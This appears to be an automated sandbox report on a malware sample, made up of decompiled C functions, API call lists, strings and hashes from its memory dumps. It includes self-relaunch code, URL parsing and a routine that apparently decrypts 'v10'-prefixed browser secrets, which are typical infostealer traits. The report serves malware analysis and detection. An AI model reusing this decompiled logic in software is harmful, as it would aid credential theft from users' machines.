Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040BEB0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 53
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040BEB0(char _a4, char* _a8, intOrPtr _a12) {
				char* _v8;
				char* _v12;
				intOrPtr _v16;
				char _v17;
				intOrPtr _v24;

				_t2 =  &_a4; // 0x616938
				_v8 = StrStrA( *_t2, _a8);
				if(_v8 != 0) {
					_t7 =  &_a4; // 0x616938
					_t8 =  &_a4; // 0x616938
					 *0x41a994(0x41ac88,  *_t8, _v8 -  *_t7);
					_t10 =  &_a4; // 0x616938
					 *((char*)(_v8 -  *_t10 + 0x41ac88)) = 0;
					_v12 = _a8;
					_t14 =  &_v12; // 0x616938
					_v16 =  *_t14 + 1;
					do {
						_t16 =  &_v12; // 0x616938
						_v17 =  *((intOrPtr*)( *_t16));
						_v12 =  &(_v12[1]);
					} while (_v17 != 0);
					_v24 = _v12 - _v16;
					wsprintfA(_v8 - _a4 + 0x41ac88, "%s%s", _a12, _v8 + _v24);
					return 0x41ac88;
				}
				_t5 =  &_a4; // 0x616938
				return  *_t5;
			}

0x0040beba
0x0040bec4
0x0040becb
0x0040bed5
0x0040bed9
0x0040bee2
0x0040beeb
0x0040beee
0x0040bef8
0x0040befb
0x0040bf01
0x0040bf04
0x0040bf04
0x0040bf09
0x0040bf0c
0x0040bf10
0x0040bf1c
0x0040bf3b
0x00000000
0x0040bf44
0x0040becd
0x00000000

APIs

StrStrA.SHLWAPI(8ia,?,?,004061B1,?,00616938,00000000), ref: 0040BEBE
lstrcpyn.KERNEL32(0041AC88,8ia,8ia,?,004061B1,?,00616938), ref: 0040BEE2
wsprintfA.USER32 ref: 0040BF3B

Strings

8ia, xrefs: 0040BEBA, 0040BED5, 0040BED9, 0040BEEB, 0040BECD, 0040BEBD, 0040BED8, 0040BEDC
8ia, xrefs: 0040BEFB, 0040BF04
%s%s, xrefs: 0040BF2A

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: lstrcpynwsprintf
String ID: %s%s$8ia$8ia
API String ID: 1799455324-442950502
Opcode ID: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction ID: 9d0df258c1970b53338195e9cfc72265299fee085df88f93dfbf2dd1b14f7860
Opcode Fuzzy Hash: 968c324a661e519957af98edf49b8511bb81e06ad5647acdf799b48dea5bf767
Instruction Fuzzy Hash: 3A21F975901108FFDF05DFACC984AEEBBB4EF48344F108199E909A7341D735AA90CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00592340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00592D2E,?,?), ref: 005923B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00592D2E), ref: 0059240A

Strings

.-Y, xrefs: 0059246E, 005924C3, 00592471

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: FilePointer
String ID: .-Y
API String ID: 973152223-4279173447
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 3f63fb0585c540726efc53276f3a967c9c87e487c2dc38afb2f5807a21fa6600
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: 0B51C5749002099FDB04DFA8C894BEEBBF5BB4C304F14C659E825AB391D735A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00592000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00592060
memcpy.NTDLL(00000000,?,000000FF,?,00592AED,?,000000FF,?,00004000), ref: 0059208C
memcpy.NTDLL(?,00004000,000000FF,?,00592AED,?,000000FF,?,00004000), ref: 0059211D

Strings

*Y, xrefs: 0059206E

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: memcpy$new[]
String ID: *Y
API String ID: 3541104900-2582491620
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: b9f66b5b3c77cf39fb090b9c6c436dc87c80ea6736b25f43027350298a96265d
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: 4C51BBB4A01209EFCB44CF98D485EAEBBB6FF88314F508559EA05AB345C731E991CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00435C97, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00435EC5
__aulldiv.LIBCMT ref: 00435EE7

Strings

0, xrefs: 00435CB3
9, xrefs: 00435EF8
', xrefs: 00435C97

Memory Dump Source

Source File: 00000019.00000002.391504160.000000000042E000.00000020.00020000.sdmp, Offset: 0042E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_42e000_D675.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction ID: d0fee3a5a4f4d7cecfb28585c6b203644e9ef38ab9230d8b0d2435f50b5aa70a
Opcode Fuzzy Hash: 6f2de3667855a1732d2b83b5020b044b1ddeceeaf4e51dcc5021ca9846e72658
Instruction Fuzzy Hash: 6741F4B1D05628DFDB24CF58C88ABAEB7B5BB48304F2495DAE419A7240C7389E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0058C1F0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0058C229
wsprintfA.USER32 ref: 0058C244
ShellExecuteEx.SHELL32(0000003C), ref: 0058C2A3

Strings

<, xrefs: 0058C25A
(xa, xrefs: 0058C278

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: (xa$<
API String ID: 690967290-243935133
Opcode ID: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction ID: c9a09d4535bc12afe3ec490b836077d51f801aa28ce0665fcf8841cd78e5c2a9
Opcode Fuzzy Hash: cc4ab47e39a32b177838befeb9b88c04774d03333c1683d2c599034bba0e339c
Instruction Fuzzy Hash: 6E21EFB190020CABEB14EFE0DC89FDE77B8BB48701F004599F614B61A1DBB55688CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040BFA0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040BFA0(void* __ecx) {
				struct HINSTANCE__* _v32;
				struct HINSTANCE__* _v36;
				struct HINSTANCE__* _v40;
				CHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				struct HINSTANCE__* _v56;
				struct HINSTANCE__* _v60;
				char _v64;
				char _v332;
				char _v596;
				CHAR* _t37;
				intOrPtr _t43;

				E0040B720( &_v596, 0x104);
				E0040B720( &_v332, 0x104);
				GetModuleFileNameA(0,  &_v332, 0x104);
				_t37 =  *0x41a2c4; // 0x61b140
				wsprintfA( &_v596, _t37,  &_v332);
				E0040B6E0(_t37,  &_v64, 0, 0x3c);
				_v64 = 0x3c;
				_v60 = 0;
				_v56 = 0;
				_v52 =  *0x41a694;
				_t43 =  *0x41a770; // 0x617828
				_v48 = _t43;
				_v44 =  &_v596;
				_v40 = 0;
				_v36 = 0;
				_v32 = 0;
				 *0x41aa84( &_v64);
				E0040B720( &_v64, 0x3c);
				E0040B720( &_v596, 0x104);
				return E0040B720( &_v332, 0x104);
			}

0x0040bfb5
0x0040bfc6
0x0040bfd9
0x0040bfe6
0x0040bff4
0x0040c005
0x0040c00a
0x0040c011
0x0040c018
0x0040c025
0x0040c028
0x0040c02e
0x0040c037
0x0040c03a
0x0040c041
0x0040c048
0x0040c053
0x0040c05f
0x0040c070
0x0040c089

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000104,?,00000104), ref: 0040BFD9
wsprintfA.USER32 ref: 0040BFF4
ShellExecuteEx.SHELL32(0000003C), ref: 0040C053

Strings

(xa, xrefs: 0040C028
<, xrefs: 0040C00A

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: ExecuteFileModuleNameShellwsprintf
String ID: (xa$<
API String ID: 690967290-243935133
Opcode ID: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction ID: b6c0095fef0d0179f9846f7a94a4eacab4548b86fc187f3e8670100f81996cfc
Opcode Fuzzy Hash: 0d3fa1aa40dd4b54a01f72a3a6220bdd8af4e0c74f435e2c109b568a61a03135
Instruction Fuzzy Hash: 5D21EDB1900208ABDB14EFA0DC89FDEB778EB48705F00456AF214B61D1DBB95648CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0058AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00585A0A), ref: 0058AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0058AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00585A0A), ref: 0058AF51
wsprintfA.USER32 ref: 0058AF7E

Strings

ZX, xrefs: 0058AF57, 0058AF5B

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: ZX
API String ID: 377395780-3610390748
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00584BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 00584C00
InternetCrackUrlA.WININET(?,00000000), ref: 00584C0B

Strings

@, xrefs: 00584BEC
<, xrefs: 00584BDF
http, xrefs: 00584C1C

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction ID: e7698603a6f4c93d5533fc4a46cc513530eb2b35efe76617aaf9ae45a2b07209
Opcode Fuzzy Hash: 6422e5e96578678ae9ecef98c78aa7527ca494f69da9eb8f7ec7ae06e64f97c9
Instruction Fuzzy Hash: BEF0B2B590120CABDB14EFE4E885FDD7BBCBB44340F008518FE04AB150DB74A9448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
@, xrefs: 0040499C
http, xrefs: 004049CC

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 00591D80, Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00591DF4

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction ID: fc3949700529f689e7ce5a9200974d7b414a77a1fc767d23c59a965cf2718e89
Opcode Fuzzy Hash: 71429949b35bca6c2b28703409f240b6d994fc7f714cc6e6faf466484dc4969f
Instruction Fuzzy Hash: F061D7B4A0021ADFDF14CF54C548BAABBF1BB44315F248658E815AB381C775EE81CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00411B30, Relevance: 7.7, APIs: 5, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00411B30(intOrPtr __ecx, signed int _a4, long _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _t90;
				intOrPtr _t112;
				intOrPtr _t136;
				intOrPtr _t141;

				_v24 = __ecx;
				if( *(_v24 + 4) != 0 ||  *(_v24 + 0xc) != 0 ||  *((intOrPtr*)(_v24 + 0x20)) != 0 ||  *((intOrPtr*)(_v24 + 0x18)) != 0 ||  *((intOrPtr*)(_v24 + 0x14)) != 0 || ( *(_v24 + 0x2c) & 0x000000ff) != 0) {
					return 0x1000000;
				} else {
					__eflags = _a12 - 1;
					if(_a12 != 1) {
						__eflags = _a12 - 2;
						if(__eflags != 0) {
							__eflags = _a12 - 3;
							if(_a12 != 3) {
								return 0x10000;
							}
							_v20 = _a8;
							__eflags = _v20;
							if(_v20 != 0) {
								__eflags = _a4;
								if(_a4 == 0) {
									 *(_v24 + 0xc) = CreateFileMappingW(0xffffffff, 0, 4, 0, _v20, 0);
									_t90 = _v24;
									__eflags =  *(_t90 + 0xc);
									if( *(_t90 + 0xc) != 0) {
										 *((intOrPtr*)(_v24 + 0x20)) = MapViewOfFile( *(_v24 + 0xc), 0xf001f, 0, 0, _v20);
										_t136 = _v24;
										__eflags =  *(_t136 + 0x20);
										if( *(_t136 + 0x20) != 0) {
											L25:
											 *((char*)(_v24 + 0x1c)) = 1;
											 *(_v24 + 0x24) = 0;
											 *(_v24 + 0x28) = _v20;
											return 0;
										}
										CloseHandle( *(_v24 + 0xc));
										 *(_v24 + 0xc) = 0;
										return 0x300;
									}
									return 0x300;
								}
								 *((intOrPtr*)(_v24 + 0x20)) = _a4;
								goto L25;
							}
							return 0x30000;
						}
						_v16 = _a4;
						 *(_v24 + 4) = CreateFileW(E0040B5C0(__eflags, _v16), 0x40000000, 0, 0, 2, 0x80, 0);
						_t141 = _v24;
						__eflags =  *((intOrPtr*)(_t141 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t141 + 4)) != 0xffffffff) {
							 *((char*)(_v24 + 0x1c)) = 1;
							 *(_v24 + 0x10) = 0;
							 *((char*)(_v24 + 8)) = 1;
							return 0;
						}
						 *(_v24 + 4) = 0;
						return 0x200;
					}
					_v12 = _a4;
					 *(_v24 + 4) = _v12;
					 *((char*)(_v24 + 8)) = 0;
					_v8 = SetFilePointer( *(_v24 + 4), 0, 0, 1);
					__eflags = _v8 - 0xffffffff;
					 *((char*)(_v24 + 0x1c)) = 0 | _v8 != 0xffffffff;
					_t112 = _v24;
					__eflags =  *(_t112 + 0x1c) & 0x000000ff;
					if(( *(_t112 + 0x1c) & 0x000000ff) == 0) {
						 *(_v24 + 0x10) = 0;
					} else {
						 *(_v24 + 0x10) = _v8;
					}
					return 0;
				}
			}

0x00411b36
0x00411b40
0x00000000
0x00411b7b
0x00411b7b
0x00411b7f
0x00411be8
0x00411bec
0x00411c60
0x00411c64
0x00000000
0x00411d22
0x00411c6d
0x00411c70
0x00411c74
0x00411c80
0x00411c84
0x00411ca8
0x00411cab
0x00411cae
0x00411cb2
0x00411cd8
0x00411cdb
0x00411cde
0x00411ce2
0x00411d02
0x00411d05
0x00411d0c
0x00411d19
0x00000000
0x00411d1c
0x00411ceb
0x00411cf4
0x00000000
0x00411cfb
0x00000000
0x00411cb4
0x00411c8c
0x00000000
0x00411c8c
0x00000000
0x00411c76
0x00411bf1
0x00411c1c
0x00411c1f
0x00411c22
0x00411c26
0x00411c3f
0x00411c46
0x00411c50
0x00000000
0x00411c54
0x00411c2b
0x00000000
0x00411c32
0x00411b84
0x00411b8d
0x00411b93
0x00411baa
0x00411baf
0x00411bb9
0x00411bbc
0x00411bc3
0x00411bc5
0x00411bd5
0x00411bc7
0x00411bcd
0x00411bcd
0x00000000
0x00411bdc

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 00411BA4

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction ID: 4806281024cf892df001f217e22b508f46e279854f8b30cdef803a4c5b02db50
Opcode Fuzzy Hash: 9f40ca25f5a3ec3b26c5a317c37b390bac11bb664fe97661c3bbb8a15347b8b4
Instruction Fuzzy Hash: 49611BB4A0020ADFEB14CF54D585BAEB7B1BB04315F208259E9156B3D1D378EE81CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00587480, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104memorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 005874D2
LocalAlloc.KERNEL32(00000040,?), ref: 00587521
lstrcat.KERNEL32(?,00000000), ref: 00587587

Strings

v10, xrefs: 0058749E
@, xrefs: 005874DA

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction ID: abbc0d4780aa638c88425491d3c16fbb15914012c8b338ddda43362413f1bdb8
Opcode Fuzzy Hash: d133a81001bef52ef4905997addc9da99a5f8824d4606433a0d426c6760a33b5
Instruction Fuzzy Hash: 6B413A71A0420CEBDB14DFD8D844BEDBBB8BF88344F148169F905AB280D774AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00407230, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 104
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00407230(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void _v76;
				long _v80;
				void* _v84;
				int _v88;
				char _v5092;
				void* _t58;
				void* _t94;

				E004139B0(0x13e0, __ecx);
				if(_a8 < 3) {
					L10:
					return E00407190(_a4, _a8);
				}
				asm("repe cmpsb");
				if(0 != 0) {
					goto L10;
				}
				if(((0 | _a12 != 0x00000000) & (0 | _a16 != 0x00000000)) == 0) {
					return 0x4191a0;
				}
				memset( &_v76, 0, 0x40);
				_v76 = 0x40;
				_v72 = 1;
				_v68 = _a4 + 3;
				_v64 = 0xc;
				_v52 = _v68 + _a8 - 0x13;
				_v48 = 0x10;
				_v80 = _a8 - 3 - _v64 - _v48;
				_t58 = LocalAlloc(0x40, _v80);
				_v84 = _t58;
				if(_v84 == 0) {
					return _t58;
				}
				_v88 = 0;
				_v8 =  *0x41aa60(_a16, _v68 + _v64, _v80,  &_v76, 0, 0, _v84, _v80,  &_v88, 0);
				if(_v8 < 0) {
					return 0x4191a0;
				}
				E0040B720( &_v5092, 0x1388);
				 *0x41aa24( &_v5092, _v84);
				 *((char*)(_t94 + _v88 - 0x13e0)) = 0;
				return  &_v5092;
			}

0x00407238
0x00407243
0x00407364
0x00000000
0x00407371
0x00407258
0x0040725a
0x00000000
0x00000000
0x00407274
0x00000000
0x0040735b
0x00407282
0x0040728a
0x00407291
0x0040729e
0x004072a1
0x004072b2
0x004072b5
0x004072c8
0x004072d1
0x004072d7
0x004072de
0x00000000
0x00407359
0x004072e0
0x00407312
0x00407319
0x00000000
0x00407352
0x00407327
0x00407337
0x00407340
0x00000000

APIs

memset.MSVCRT ref: 00407282
LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
lstrcat.KERNEL32(?,00000000), ref: 00407337

Strings

@, xrefs: 0040728A
v10, xrefs: 0040724E

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.391492127.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_D675.jbxd

Similarity

API ID: AllocLocallstrcatmemset
String ID: @$v10
API String ID: 4123878530-24753345
Opcode ID: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction ID: 61f64e7557948a46b50732eb2c11968d7e6d1a4f1abee3a4cf4d88c7128a29d2
Opcode Fuzzy Hash: 1d3fa7b3dbb26fb9b049f7610d81cb1348bb2620b3692f3626651eae948cc07e
Instruction Fuzzy Hash: D24150B1E04208EBEB14CFD4D884BDEB7B4FF48344F048169F905AB284D778AA45DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0058B810, Relevance: 7.6, APIs: 5, Instructions: 50stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000003,00000000,00000000,?), ref: 0058B81E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0058B82D
new[].LIBCMTD ref: 0058B84D
lstrlen.KERNEL32(?,?,?), ref: 0058B86A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0058B879

Memory Dump Source

Source File: 00000019.00000002.391583976.0000000000580000.00000040.00000001.sdmp, Offset: 00580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_580000_D675.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen$new[]
String ID:
API String ID: 4156461339-0
Opcode ID: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction ID: 790892d5afcc9bfb4079f53bf79299b856f83fb74f23678bd8ce4aeba799a21c
Opcode Fuzzy Hash: 56f75f690b4901e2c4a4253c133e8f5cdaa2a479b23792dede6667cee38b773e
Instruction Fuzzy Hash: 4F0144B5A01208BFDB04DFA8DC4AF9E7BB8EF4C300F108058F909DB290D671AA518B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040B5C0, Relevance: 7.6, APIs: 5, Instructions: 50
stringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040B5C0(void* __eflags, char* _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _t50;

				_t50 = __eflags;
				_v12 = MultiByteToWideChar(0, 0, _a4,  *0x41a908(0), _a4, 0);
				_v16 = E0040B590( ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002,  ~(0 | _t50 > 0x00000000) | (_v12 + 0x00000001) * 0x00000002);
				_v8 = _v16;
				MultiByteToWideChar(0, 0, _a4,  *0x41a908(_v12), _a4, _v8);
				 *((short*)(_v8 + _v12 * 2)) = 0;
				return _v8;
			}

0x0040b5c0
0x0040b5e3
0x0040b605
0x0040b60b
0x0040b629
0x0040b637
0x0040b641

APIs

lstrlen.KERNEL32(00000080,00000000,00000000,00000002,00000080,00000000), ref: 0040B5CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B5DD
new[].LIBCMTD ref: 0040B5FD
lstrlen.KERNEL32(?,?,?), ref: 0040B61A
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000), ref: 0040B629

Memory Dump Source

Source File: 00000019.00000002.391450461.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

